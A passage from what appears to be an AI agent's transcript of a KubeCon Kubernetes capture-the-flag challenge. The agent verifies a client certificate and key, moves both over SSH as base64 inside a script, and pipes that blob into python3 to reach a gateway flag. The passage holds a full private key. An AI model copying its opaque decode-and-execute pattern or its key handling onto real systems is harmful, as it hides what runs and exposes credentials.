Modulus=AEFBFB7546509A4A40A056FAF4E1EBAA2DF297E848F1D4256F5D0AE2B6F5E0761FDFF1F4CD0189E1A673F7AB8041351458C5810A5F8009FA27152CD1685B40E1CF3409B2328871885C751D726C8160F2C46B549C04761E6599D44344EE98FE6998DA0385CF57240B29E8125D24C372B7A37147C15FE0A399531AD6B234CE24D54479E4867AF2E5DD351345499B079234A323F469D904AB56BC026428C41EFEAB573996BF5A21474D7AE4C2EAA9F4EFB42E59277F3DD12792D20855BACA1F930F798CBA62E2B97151BC5F88D165602E783FA21623CC3F46CFFB887615A222DB5D363DB02B83C4DBC0A89520A65C07B9ABFEE269BD73FCE6B83EBE9024FFF8DF2B === Modulus=9A4C9E22BBB48B7DDCEECEBF071146967A955440789E7F8C61A029E92472EACEAE4F2E497AA1602C8A98E5E74DA0B817B81BCE1D0B1EB1EE086427FF4BB7351965EE9786771473DDBE846DFAA581E955F8B8AE3B8348CBF672A42661C22213425223EFDD7C6C9D77778F1722E56E2E02638EE5984A61885ECFC743F85C6FCB08AF4B3D5540D1B812483F93EE5CEBF21BFC3E85AD0A483AB5D66FB686980E45684D1AD6113C1C8EBA431749A8FCE4369D9D6F979C0E3474AD7FD5B18C2FCB89DCF5E6E5D48B49825D91EAE347011AF1F12A3984C88B79F92D8214396C9876860964D7EF19AAB3D4DDBE7DF370BCBCEE69B5417B8D3DB210B0AA77FC81E3BFC6F1896E0BA413C853E4A732AA3D56168F4A9DA0C4B5D17D2C6DE808FC54A65AB78F1036AB82376B4E58E64C01B7C07B6E2CC0A482DE901C2241075027427698567F4B3B803CB2FC6459342086083CCA9331978EA514A1889E5120D857052E510CD1B9D9A71BE0BAB1A1EFDD4D66F0B5F507597ACCCCD2745E3D9823693AE39B193ECD710BCE3EF6FC2862E0CB163B1F66D8189F1172F654EFE09E5F4EA55FEF96B0B123693B03BB266F99A1D0B90FAC2734BFB2BE4103BBDE928B574AB467723E134ED47BBC11D6AF75A17DDAC45EEF0C768E269C4B8275CE7DADA6FE1FC75D09A229D5E9BD893742797ED50283B4C2C876B6DA2C23A589D61A3489D835E825BA39
# Check if cert and key modulus match despite "broken" key openssl x509 -in /tmp/client.crt -noout -modulus | md5sum openssl rsa -in /tmp/client.key -noout -modulus 2>&1 | md5sum echo "=== TRY USING BROKEN KEY ANYWAY ===" openssl s_client -connect 127.0.0.1:1 -cert /tmp/client.crt -key /tmp/client.key < /dev/null 2>&1 | head -5
cde4b02ba631bc2bd517ad62361aa702 - cde4b02ba631bc2bd517ad62361aa702 - === TRY USING BROKEN KEY ANYWAY === 4047699F7A7F0000:error:8000006F:system library:BIO_connect:Connection refused:../crypto/bio/bio_sock2.c:114:calling connect() 4047699F7A7F0000:error:10000067:BIO routines:BIO_connect:connect error:../crypto/bio/bio_sock2.c:116: connect:errno=111
The cert and key modulus MATCH! The key IS valid for this cert despite the rsa -check warnings. The issue was TTY corruption when writing the files inside the pod. Let me use a more reliable transfer method.
# Create a single script that writes the files using python to avoid TTY issues
cat > /tmp/write_certs.py << 'PYEOF'
import base64
cert_b64 = "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="
key_b64 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K"
with open("/tmp/c.crt", "wb") as f:
f.write(base64.b64decode(cert_b64))
with open("/tmp/c.key", "wb") as f:
f.write(base64.b64decode(key_b64))
print("Files written successfully")
import hashlib
cert_data = base64.b64decode(cert_b64)
key_data = base64.b64decode(key_b64)
print(f"cert md5: {hashlib.md5(cert_data).hexdigest()}")
print(f"key md5: {hashlib.md5(key_data).hexdigest()}")
PYEOF
# Get md5s locally for comparison
md5sum /tmp/client.crt /tmp/client.keyfb356d37bd0c93172148580db0857ba9 /tmp/client.crt 0a94de1f463a0995741af86a38976ef5 /tmp/client.key
# Transfer the python script and run it inside the pod to write cert/key cleanly
SCRIPT_B64=$(base64 -w0 /tmp/write_certs.py)
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << SSHEOF 2>&1 | sed 's/\r//g'
echo '$SCRIPT_B64' | base64 -d | python3
md5sum /tmp/c.crt /tmp/c.key
export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')
curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP
exit
SSHEOFCommand running in background with ID: brnd0yikc. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/brnd0yikc.output
cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/brnd0yikc.output 2>/dev/null || echo "waiting..."
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA5SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU1ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxRVzlKUWtGUlEzVUtLeTkwTVZKc1EyRlRhME5uVm5aeU1EUmxkWEZNWmt0WU5rVnFlREZEVm5aWVVYSnBkSFpZWjJSb0wyWTRabFJPUVZsdWFIQnVVRE54TkVKQ1RsSlNXUXA0V1VWTFdEUkJTaXRwWTFaTVRrWnZWekJFYUhwNlVVcHpha3RKWTFsb1kyUlNNWGxpU1Vabk9ITlNjbFpLZDBWa2FEVnNiV1JTUkZKUE5sa3ZiVzFaQ2pKblQwWjZNV05yUTNsdWIwVnNNR3QzTTBzemJ6TkdTSGRXTDJkdk5XeFVSM1JoZVU1Tk5Hc3hWVkkxTlVsYU5qaDFXR1JPVWs1R1UxcHpTR3RxVTJvS1NTOVNjREpSVTNKV2NuZERXa05xUlVoMk5uSldlbTFYZGpGdmFGSXdNVFkxVFV4eGNXWlVkblJETlZwS016ZzVNRk5sVXpCbmFGWjFjMjltYTNjNU5RcHFUSEJwTkhKc2VGVmllR1pwVGtac1dVTTFORkEyU1ZkSk9IY3ZVbk12TjJsSVdWWnZhVXhpV0ZSWk9YTkRkVVI0VG5aQmNVcFZaM0JzZDBoMVlYWXJDalJ0YlRsakwzcHRkVVEySzJ0RFZDOHJUamh5UVdkTlFrRkJSMnBSYWtKQlRVSXdSMEV4VldSRVoxRlhRa0pVTjJ4TGNtVnFaSGgzUTNVeGNIcENhWE1LWVROTlZFaG9lR0Z0VkVGbVFtZE9Wa2hUVFVWSFJFRlhaMEpTWTFka2EwSTBUVVpTTUZwNmFGSkZXalJvTTBzNVdVa3ZOMWg2UVU1Q1oydHhhR3RwUndvNWR6QkNRVkZ6UmtGQlQwTkJVVVZCVUd3eGFEbFlVRmc1V214MVZuWnZkRGhMYm5ZMlEwYzFkbEJYVUZob1NuQTRlSFZ6U2tSVFFtNVdkM0EzVVdrekNqZEhjeTlTYmk5dVNVNVRNbGMyV1RkUU55ODVZak12UTJsMU5FRTJjakV2Y3poUE9HSldZakJNZEZWNlRXTm9TR2hzUWxwc1YyZ3JPRXRVY1M5YWVHSUtVMjloVW05cFlVMWhjVWxSWW1WWVVXeHRabEVyVHk5d1EyeHBNVmxuWTJwbE5VOWtjSFptSzBKVFNHbzVjM2RhVjNaTk9WRm5hbFZVVkVFeFRtSnRWd28xVVdoRGRrZE9VVzFKTlhad2JWRndiMWh6UjA1RU1XNXpTVXRzY1dGNWVsWnlNbHAzTDFCcFRuQTRjblF3YlRGakwwdGpSalpzY1ZaVmVXMVlPRVpKQ2pCS01sZEtRMDloTjNCT1pHTnpiekl4WnpjdlpIVmtXV0oyTUhsU1dXdG5VREZRVWtOT1UxaHVORTFzVTB0NWFHOUhNRloxZEVOUGNEaEVlVzg1UlZJS1EwNUdVbUpYU1Uwd1pGSjVNVU0yV0N0Q1VuQnFiek5OZFZGS1UyeFJaVnBuWTFKT1puYzlQUW90TFMwdExVVk9SQ0JEUlZKVVNVWkpRMEZVUlMwdExTMHRDZz09IgprZXlfYjY0ID0gIkxTMHRMUzFDUlVkSlRpQlFVa2xXUVZSRklFdEZXUzB0TFMwdENrMUpTVVYyWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUlJVWkJRVk5EUWt0bmQyZG5VMnRCWjBWQlFXOUpRa0ZSUTNVckwzUXhVbXhEWVZOclEyY0tWblp5TURSbGRYRk1aa3RZTmtWcWVERkRWblpZVVhKcGRIWllaMlJvTDJZNFpsUk9RVmx1YUhCdVVETnhORUpDVGxKU1dYaFpSVXRZTkVGS0sybGpWZ3BNVGtadlZ6QkVhSHA2VVVwemFrdEpZMWxvWTJSU01YbGlTVVpuT0hOU2NsWktkMFZrYURWc2JXUlNSRkpQTmxrdmJXMVpNbWRQUm5veFkydERlVzV2Q2tWc01HdDNNMHN6YnpOR1NIZFdMMmR2Tld4VVIzUmhlVTVOTkdzeFZWSTFOVWxhTmpoMVdHUk9VazVHVTFwelNHdHFVMnBKTDFKd01sRlRjbFp5ZDBNS1drTnFSVWgyTm5KV2VtMVhkakZ2YUZJd01UWTFUVXh4Y1daVWRuUkROVnBLTXpnNU1GTmxVekJuYUZaMWMyOW1hM2M1TldwTWNHazBjbXg0VldKNFpncHBUa1pzV1VNMU5GQTJTVmRKT0hjdlVuTXZOMmxJV1ZadmFVeGlXRlJaT1hORGRVUjRUblpCY1VwVlozQnNkMGgxWVhZck5HMXRPV012ZW0xMVJEWXJDbXREVkM4clRqaHlRV2ROUWtGQlJVTm5aMFZCUTJwSk56TjBRbGRtUnpFNGVqRnpRMHBXZFdOMlpHWmlhMUJSVVdaQ1EwVTVaV1psWWxaQ1VtbHhkamtLTUVWd2NrSkNPRmt4U1VkcE5UTnFWbTh2WTFJeFRtcExTMGxuZEhGWFkzSllkMnB0ZFZWWFZYaGxRak13UkVSVVRuQlhPVnA1T1c1RGNXNVlTV0p1WkFwU01YWkxXVVp1UjJOMGVGb3hiVzFvWkZwTmRHbDZka1owTDI1NU9WbDJieTlCVWpWSWNFWktlRTFYV25WM1dHSnNUVkJPVWxZM1VubFlSbHBrYjJ3NENtWmlkSGxoUmtzd2RXWTNUMGtyY2xoa1RrNWhlblFyU0hSUVptWnNjSFJhVWtoNGR5OVhVMmw2T0hsbGRWQjVRVE52WVdFdmJIQlhiMjF1WTBNMlZUUUtaWHBKYnpaaWFVeEVXRmd5S3pnd2JsYzJiRkk0Vm5aUWEwZGFMMUIxWTJsTWEzYzNlbmhKYkRORFpVMXRWR3hDUjI5aGVtbFNhR000WWtSWUszQmlPQXBXUjBKWGQzWTNWREpGTWs0elNFazFRbXhDVGxOT1lXZHljMFp1ZUVGMGRGcHlhVVJOZVV0UlZWRkxRbWRSUkdscFVXOVNNWEpJYkhkUE1tRnJSRzVvQ2lzMU9WcEZUVnBsUkc5TVNrMVNOSGtyYVVveWNHWTFWM1ozUjFsRWFWRnJOWFJNYzNGa1ZXWk9NMkV3U1M5Wk5GUlRZVXRuVEZrcmJDczJaQ3RLV0hNS0x6ZHBORTlZYmt0RlNHdFplRTlTWWsxaGNVMWpOR0paYWxWVFUyOW1PRzlEVGxwR2MxQnphRmgxVmtSUlRGSnlMMGhvVjA5bkszWmxRMjFXZWt4UFN3b3laMWhqY2tkTVVtZGhVRW8wWVdJMVVVZzJXbkJYU2pCV1VVdENaMUZFUm5adVNXcEdha2xHV210eVdGVktUVlJyV2tSTVVqWnVOR0ZXZVRnMFZIWllDbWcyZHpsTFlubFNNbXBGTVZoT1prdDNha3d3Y1ZrelpUSXdSazB3VEV4R1YyRjBNbTk0Y2tGUU5IWldOM1V3YkZGVlYzVkNLMDFMUjI0dk1rVkxTMlFLVm1aMGJ6VlhMMGwyY21wM1VHdEdhMUpxYUVGbmMwMTVPREZQVWxFd1NscHJXV3d5Um1wTFNHSnNhRmx5UzNjMEwzWlRlbTFhUVhsM1UyZHlaekJ6U3dwaFQxRkZjaXN5Um1aM1MwSm5RazFLUm5WeFJ6QjFORTlrZVdwTmR6aENhMmd6UWxKbk5HMHhlVWhIYkdsbVkxbHZOM0UyYldoUGNDdDZWazkzZFZSRENqZExhSE5aVUdNNWFuVkVNbEZMVG1OblJXVldTbnB6T1ZGNFZFNUtZbEZFYWxBNFZpOVdSRzlpTTFOUldIVjJNakJZUkRVMlJGQmpUWGN6Y2xKUGFWWUtWRmxSVUhGb2NWVjNZMnRVTnpsVkwwbDBSMFZGV0hSaFMyOTRiVFZvVG1RelN6UTVXV2hTWlhjeVpXUjNZakJwUjFWR1NqY3ljamxCYjBkQ1FVcEpWZ3AyTDNoeWVWVm9lalphV200d1JVRkZjV2hQUkZCbE5XMDJSSGRvY1ZSUWR6VjVNMGxTTm1JMGNYRklhR3hSYjFaeVl6bFNPRFV4VVVoVk0wTlpSU3R5Q21wNVFqSkljVEJ2VWxGWmJraE5jMHBFV2tWclFXNWlWVmhRVWsxR1pGcHRWSFpYVUdseFYycFJUREEzVVU1UWVtcEdjMk5RTVdwRmNXeG5SMlZHTTNvS1VuSnZWMkV2TTJoYWVVMWlZbUZCZEhWc2JEQmxWRTFHZGpoa2JHd3ljRFZWZG5GcVptSllRa0Z2UjBKQlQwTm1Zek50VEdNMFFsQldka3c1V1ZkaldBcFRTRzgyY1ZRelMwbHVjak5wY2toMlEyNXFhMjUzTDFsa1ptSTNURkY1ZG5GamFFa3JNalU1UkV4QmJubFJPRXhqSzJjemJFZEthVVl2UTJaek1ubDJDbFZ5VURNNVRrZ3hPWHBQU25GclYzSTJWalZtY21adE1sWlVXbmN3Y3pGcmJsZFZVMFJtVDBNd1Rsb3dVa3R4ZFUxU1UxZFNkbkZNVDNaeFVGaGljRGdLV1dkMmJXazJXbkEyWnpscE1uWXdWRlJQYVVkME4zaHdDaTB0TFMwdFJVNUVJRkJTU1ZaQlZFVWdTMFZaTFMwdExTMEsiCndpdGggb3BlbigiL3RtcC9jLmNydCIsICJ3YiIpIGFzIGY6CiAgICBmLndyaXRlKGJhc2U2NC5iNjRkZWNvZGUoY2VydF9iNjQpKQp3aXRoIG9wZW4oIi90bXAvYy5rZXkiLCAid2IiKSBhcyBmOgogICAgZi53cml0ZShiYXNlNjQuYjY0ZGVjb2RlKGtleV9iNjQpKQpwcmludCgiRmlsZXMgd3JpdHRlbiBzdWNjZXNzZnVsbHkiKQppbXBvcnQgaGFzaGxpYgpjZXJ0X2RhdGEgPSBiYXNlNjQuYjY0ZGVjb2RlKGNlcnRfYjY0KQprZXlfZGF0YSA9IGJhc2U2NC5iNjRkZWNvZGUoa2V5X2I2NCkKcHJpbnQoZiJjZXJ0IG1kNToge2hhc2hsaWIubWQ1KGNlcnRfZGF0YSkuaGV4ZGlnZXN0KCl9IikKcHJpbnQoZiJrZXkgbWQ1OiB7aGFzaGxpYi5tZDUoa2V5X2RhdGEpLmhleGRpZ2VzdCgpfSIpCg==' | base64 -d | python3
echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA5SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU1ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxRVzlKUWtGUlEzVUtLeTkwTVZKc1EyRlRhME5uVm5aeU1EUmxkWEZNWmt0WU5rVnFlREZEVm5aWVVYSnBkSFpZWjJSb0wyWTRabFJPUVZsdWFIQnVVRE54TkVKQ1RsSlNXUXA0V1VWTFdEUkJTaXRwWTFaTVRrWnZWekJFYUhwNlVVcHpha3RKWTFsb1kyUlNNWGxpU1Vabk9ITlNjbFpLZDBWa2FEVnNiV1JTUkZKUE5sa3ZiVzFaQ2pKblQwWjZNV05yUTNsdWIwVnNNR3QzTTBzemJ6TkdTSGRXTDJkdk5XeFVSM1JoZVU1Tk5Hc3hWVkkxTlVsYU5qaDFXR1JPVWs1R1UxcHpTR3RxVTJvS1NTOVNjREpSVTNKV2NuZERXa05xUlVoMk5uSldlbTFYZGpGdmFGSXdNVFkxVFV4eGNXWlVkblJETlZwS016ZzVNRk5sVXpCbmFGWjFjMjltYTNjNU5RcHFUSEJwTkhKc2VGVmllR1pwVGtac1dVTTFORkEyU1ZkSk9IY3ZVbk12TjJsSVdWWnZhVXhpV0ZSWk9YTkRkVVI0VG5aQmNVcFZaM0JzZDBoMVlYWXJDalJ0YlRsakwzcHRkVVEySzJ0RFZDOHJUamh5UVdkTlFrRkJSMnBSYWtKQlRVSXdSMEV4VldSRVoxRlhRa0pVTjJ4TGNtVnFaSGgzUTNVeGNIcENhWE1LWVROTlZFaG9lR0Z0VkVGbVFtZE9Wa2hUVFVWSFJFRlhaMEpTWTFka2EwSTBUVVpTTUZwNmFGSkZXalJvTTBzNVdVa3ZOMWg2UVU1Q1oydHhhR3RwUndvNWR6QkNRVkZ6UmtGQlQwTkJVVVZCVUd3eGFEbFlVRmc1V214MVZuWnZkRGhMYm5ZMlEwYzFkbEJYVUZob1NuQTRlSFZ6U2tSVFFtNVdkM0EzVVdrekNqZEhjeTlTYmk5dVNVNVRNbGMyV1RkUU55ODVZak12UTJsMU5FRTJjakV2Y3poUE9HSldZakJNZEZWNlRXTm9TR2hzUWxwc1YyZ3JPRXRVY1M5YWVHSUtVMjloVW05cFlVMWhjVWxSWW1WWVVXeHRabEVyVHk5d1EyeHBNVmxuWTJwbE5VOWtjSFptSzBKVFNHbzVjM2RhVjNaTk9WRm5hbFZVVkVFeFRtSnRWd28xVVdoRGRrZE9VVzFKTlhad2JWRndiMWh6UjA1RU1XNXpTVXRzY1dGNWVsWnlNbHAzTDFCcFRuQTRjblF3YlRGakwwdGpSalpzY1ZaVmVXMVlPRVpKQ2pCS01sZEtRMDloTjNCT1pHTnpiekl4WnpjdlpIVmtXV0oyTUhsU1dXdG5VREZRVWtOT1UxaHVORTFzVTB0NWFHOUhNRloxZEVOUGNEaEVlVzg1UlZJS1EwNUdVbUpYU1Uwd1pGSjVNVU0yV0N0Q1VuQnFiek5OZFZGS1UyeFJaVnBuWTFKT1puYzlQUW90TFMwdExVVk9SQ0JEUlZKVVNVWkpRMEZVUlMwdExTMHRDZz09IgprZXlfYjY0ID0gIkxTMHRMUzFDUlVkSlRpQlFVa2xXUVZSRklFdEZXUzB0TFMwdENrMUpTVVYyWjBsQ1FVUkJUa0puYTNGb2EybEhPWGN3UWtGUlJVWkJRVk5EUWt0bmQyZG5VMnRCWjBWQlFXOUpRa0ZSUTNVckwzUXhVbXhEWVZOclEyY0tWblp5TURSbGRYRk1aa3RZTmtWcWVERkRWblpZVVhKcGRIWllaMlJvTDJZNFpsUk9RVmx1YUhCdVVETnhORUpDVGxKU1dYaFpSVXRZTkVGS0sybGpWZ3BNVGtadlZ6QkVhSHA2VVVwemFrdEpZMWxvWTJSU01YbGlTVVpuT0hOU2NsWktkMFZrYURWc2JXUlNSRkpQTmxrdmJXMVpNbWRQUm5veFkydERlVzV2Q2tWc01HdDNNMHN6YnpOR1NIZFdMMmR2Tld4VVIzUm